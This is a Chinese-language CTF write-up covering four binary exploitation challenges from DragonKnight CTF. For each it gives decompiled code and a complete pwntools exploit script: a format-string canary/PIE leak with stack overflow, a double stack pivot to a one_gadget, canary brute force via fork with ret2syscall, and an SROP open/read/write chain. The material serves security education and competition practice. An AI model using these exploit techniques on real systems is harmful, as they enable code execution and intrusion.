nyyyddddn

DragonKnightCTF_pwn

2024/05/27

ez_quiz

可以发现程序分三个部分,第一个部分是一个base32的逻辑,第二个是一个表达式计算的逻辑,第三个是格式化字符串漏洞 + 栈溢出的逻辑,要先过了前两个逻辑才会走到存在漏洞的逻辑,程序还存在一个backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
unsigned int v5; // eax
unsigned int v6; // eax
unsigned __int8 v8; // [rsp+3h] [rbp-19Dh]
unsigned __int8 v9; // [rsp+4h] [rbp-19Ch]
unsigned __int8 v10; // [rsp+5h] [rbp-19Bh]
unsigned __int8 v11; // [rsp+6h] [rbp-19Ah]
unsigned __int8 v12; // [rsp+7h] [rbp-199h]
int i; // [rsp+8h] [rbp-198h]
unsigned int v14; // [rsp+10h] [rbp-190h]
unsigned int v15; // [rsp+14h] [rbp-18Ch]
char v16[8]; // [rsp+18h] [rbp-188h] BYREF
char nptr[32]; // [rsp+20h] [rbp-180h] BYREF
char v18[32]; // [rsp+40h] [rbp-160h] BYREF
char v19[32]; // [rsp+60h] [rbp-140h] BYREF
char input_data[64]; // [rsp+80h] [rbp-120h] BYREF
__int64 v21[10]; // [rsp+C0h] [rbp-E0h] BYREF
char v22[136]; // [rsp+110h] [rbp-90h] BYREF
unsigned __int64 v23; // [rsp+198h] [rbp-8h]

v23 = __readfsqword(0x28u);
init(argc, argv, envp);
signal(14, handler);
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
qmemcpy(v21, "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC", sizeof(v21));
v3 = time(0LL);
srand(v3);
v8 = rand() % 256;
chal1(input_data, 64);
if ( strlen(input_data) > 0x32 )
{
strcpy(v22, "Out of length.\n");
v4 = strlen(v22);
wr1te(1LL, v22, v4);
exit(1);
}
encode(input_data, (__int64)v22);
for ( i = 0; i < 160; ++i )
{
v8 = lfsr_h(v8);
if ( i == 156 )
v12 = v8;
if ( i == 157 )
v11 = v8;
if ( i == 158 )
v10 = v8;
if ( i == 159 )
v9 = v8;
}
if ( (unsigned int)cmp((__int64)v22, (__int64)v21, 0x50uLL) )
{
strcpy(v16, "Right!\n");
alarm(2u);
v5 = strlen(v16);
wr1te(1LL, v16, v5);
strcpy(v19, "Please solve this calculation:\n");
v14 = (v9 - v10) * v11 % v12;
printf("(( %d - %d ) * %d ) %% %d=?\n", v9, v10, v11, v12);
fgets(nptr, 20, stdin);
alarm(0);
v15 = atoi(nptr);
if ( v15 != v14 )
{
printf("You input:%d , but answer:%d", v15, v14);
exit(1);
}
strcpy(v18, "Right! Here's your gift:\n");
v6 = strlen(v18);
wr1te(1LL, v18, v6);
gift();
}
else
{
puts("Not Right");
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
__int64 gift()
{
char format[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
gets(format);
printf(format);
fflush(stdout);
return gets(format);
}

base32decode 得到token是DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static const char base32_alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

int base32_lookup(char c) {
if (c >= 'A' && c <= 'Z') return c - 'A';
if (c >= '2' && c <= '7') return c - '2' + 26;
return -1;
}

void __fastcall decode(char *encoded, char *decoded) {
int buffer = 0;
int bits_left = 0;
int count = 0;
int length = strlen(encoded);

for (int i = 0; i < length; i++) {
if (encoded[i] == '=') break; // Padding character

int val = base32_lookup(encoded[i]);
if (val == -1) continue; // Skip invalid characters

buffer = (buffer << 5) | val;
bits_left += 5;

if (bits_left >= 8) {
decoded[count++] = ~(char)((buffer >> (bits_left - 8)) & 0xFF);
bits_left -= 8;
}
}
decoded[count] = '\0';
}

int main() {
char encoded[] = "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC"; // Example encoded string
char decoded[256];

decode(encoded, decoded);

printf("Decoded: %s\n", decoded);

return 0;
}

式化字符串泄露canary和 elf相关的地址后,计算出backdoor的地址,之后栈溢出覆盖返回地址为backdoor就好了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 30604

elf = context.binary = ELF('./attachment')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


ru("Please give me your token: ")

decoded_string = "DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}"
sl(decoded_string)

ru("(( ")
a = int(ru('-')[:-2])
b = int(ru(' )')[:-2])
ru('* ')
c = int(ru(' )')[:-2])
ru('% ')
d = int(ru('=')[:-1])

result = ((a - b) * c) %d
sl(str(result))

ru("Right! Here's your gift:\n")

payload = "--%11$p---%8$p"
# g(p)
sl(payload)
ru('--')
canary = int(r(18),16)
ru('---')
pie = int(r(14),16) - (0x62fadaae3bd7 - 0x62fadaae2000)

success(hex(canary))
success(hex(pie))


backdoor = pie + 0x0000000000001426
payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(backdoor)
sl(payload)


p.interactive()


stack

没有泄露地址的逻辑,只能覆盖rbp 和 rbp + 8

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

inits();
puts("Hello, CTFer, do you know how to stack pivoting?");
read(0, buf, 0x110uLL);
return 0;
}

但是仔细看的话会发现 通过这段gadget 配合控制rbp,就可以实现任意地址写,并且将栈迁移到一个已知的地址上,通过两次栈迁移就可以实现rop,第一次将rbp设置成bss中地址,ret设置成这个gadget,就会往bss里面写一段数据,写完后又可以leave ret一次。这样就可以实现rop了,同时rbp和rsp是在已知的地址。通过rop泄露libc地址然后回到main上再写一次rop,然后栈迁移过去执行 用system有些问题,直接用libc中的gadget来满足 onegadget的寄存器约束打one gadget就好了

1
2
3
4
5
6
7
8
9
10
11
.text:000000000040119B 48 8D 85 00 FF FF FF          lea     rax, [rbp+buf]
.text:00000000004011A2 BA 10 01 00 00 mov edx, 110h ; nbytes
.text:00000000004011A7 48 89 C6 mov rsi, rax ; buf
.text:00000000004011AA BF 00 00 00 00 mov edi, 0 ; fd
.text:00000000004011AF B8 00 00 00 00 mov eax, 0
.text:00000000004011B4 E8 C7 FE FF FF call _read
.text:00000000004011B4
.text:00000000004011B9 B8 00 00 00 00 mov eax, 0
.text:00000000004011BE C9 leave
.text:00000000004011BF C3 retn
.text:00000000004011BF ; } // starts at 401176

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "challenge.qsnctf.com"
PORT = 31042

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()



rdi = 0x0000000000401210
rsi_r15 = 0x0000000000401281
leave_ret = 0x00000000004011be
rbp = 0x000000000040115d
bss = 0x404500

main = 0x401176
magic = 0x000000000040119B
magic2 = 0x4011aa
ret = 0x000000000040101a



sa("Hello, CTFer, do you know how to stack pivoting?",b'a' * 0x100 + p64(bss + 0x150) + p64(magic))

payload = p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(main)
payload = payload.ljust(0x100,b'\x00') + p64(0x404550 - 0x8) + p64(leave_ret)
# g(p)
s(payload)

print(rl())
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
success(hex(libc_base))

binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']


# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL


r12_r13_r14_r15 = 0x000000000040127c #: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret


payload = p64(r12_r13_r14_r15) + p64(0) + p64(0) + p64(0) + p64(0) + p64(libc_base + 0xe3afe)
payload = payload.ljust(0x100,b'b') + p64(0x404468 - 0x8) + p64(leave_ret)
# g(p)
sa("Hello, CTFer, do you know how to stack pivoting?",payload)


p.interactive()

canary

程序存在canary,存在一个fork的逻辑,可以通过这个fork的逻辑去爆破canary的值,canary的低位是 \x00,所以只需要爆破 256 * 7 次就能得到canary,之后ret2syscall就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
pid_t pid; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
while ( 1 )
{
pid = fork();
if ( pid < 0 )
break;
if ( pid <= 0 )
vuln();
else
wait(0LL);
}
return 0;
}
void __cdecl vuln()
{
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v1; // [rsp+108h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("please input:");
read(0LL, buf, 512LL);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 31368

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

rdi = 0x00000000004018c2
rsi = 0x000000000040f23e
rdx = 0x00000000004017cf
rax = 0x00000000004493d7 # pop rax ret
ret = 0x0000000000445613 #: sub rax, 1 ; ret

syscall = 0x00000000004012d3
read = 0x000000000448920

puts = 0x411770

canary = b'\x00'

for i in range(7):
for j in range(256):

print(f"Trying byte {i+1} with value {j}")

payload = b'a' * (0x110 - 0x8) + canary + bytes([j])


ru("please input:\n")
s(payload)
line = p.recvline().strip()
if b'please' in line:
canary = canary + bytes([j])
print(f"Found byte {i+1}: {canary.hex()}")
sl("AAA")
break

success(canary)


bss = 0x4c1000

payload = b'a' * (0x110 - 0x8) + canary + b'a' * 8
payload += p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x8)
payload += p64(read)

payload += p64(rdi) + p64(bss)
payload += p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(rax) + p64(0x3b)
payload += p64(syscall)


ru("please input:\n")

# gdb.attach(p)
s(payload)

time.sleep(0.1)
s(b"/bin/sh\x00")


p.interactive()

srop_seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 vuln()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF

v2[0] = 'onk u oD';
v2[1] = 'i tahw w';
v2[2] = '\n?DIUS s';
strcpy(v1, "easyhack\n");
syscall(1LL, 1LL, v1, 9LL);
syscall(0LL, 0LL, &unk_404060, 4096LL);
syscall(1LL, 1LL, v2, 24LL);
syscall(0LL, 0LL, v1, 0x3ALL);
return 0LL;
}

有两个片段,配合起来可以实现srop,第一次read布置srop + syscall function实现的orw,第二次read 栈迁移过去执行就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0000000000401186                               ; void sub_401186()
.text:0000000000401186 sub_401186 proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 55 push rbp
.text:0000000000401187 48 89 E5 mov rbp, rsp
.text:000000000040118A 0F 05 syscall ; LINUX -
.text:000000000040118C 90 nop
.text:000000000040118D 5D pop rbp
.text:000000000040118E C3 retn
.text:000000000040118E ; } // starts at 401186
.text:000000000040118E
.text:000000000040118E sub_401186 endp
.text:000000000040118E
.text:000000000040118F
.text:000000000040118F ; =============== S U B R O U T I N E =======================================
.text:000000000040118F
.text:000000000040118F ; Attributes: bp-based frame
.text:000000000040118F
.text:000000000040118F sub_40118F proc near
.text:000000000040118F ; __unwind {
.text:000000000040118F 55 push rbp
.text:0000000000401190 48 89 E5 mov rbp, rsp
.text:0000000000401193 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:000000000040119A C3 retn

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 32685

elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

mov_rax_0xf = 0x000000000401193
syscall = 0x000000000040118a
leave_ret = 0x000000000040136c
bss = 0x404000
input_data_addr = 0x404060

payload = p64(mov_rax_0xf) + p64(syscall)


# syscall chmod
sigframe = SigreturnFrame()
sigframe.rax = 2
sigframe.rdi = input_data_addr + 0x600
sigframe.rsi = 0
sigframe.rsp = 0x404168
sigframe.rip = syscall
payload += bytes(sigframe)
# syscall open
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 3
sigframe.rsi = bss
sigframe.rdx = 0x40
sigframe.rsp = 0x404278
sigframe.rip = syscall
payload += b'bbbbbbbb'
payload += p64(mov_rax_0xf) + p64(syscall)
payload += bytes(sigframe)

# syscall read
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = bss
sigframe.rdx = 0x40
sigframe.rsp = 0x404388
sigframe.rip = syscall
payload += b'cccccccc'
payload += p64(mov_rax_0xf) + p64(syscall)
payload += bytes(sigframe)

payload = payload.ljust(0x600,b'a')
payload += b'./flag\x00\x00'

sla("easyhack",payload)

payload = b'a' * 0x2a + p64(input_data_addr - 0x8) + p64(leave_ret)
sa("Do u know what is SUID?",payload)

# sleep(2)



p.interactive()

CATALOG
  1. 1. ez_quiz
  2. 2. stack
  3. 3. canary
  4. 4. srop_seccomp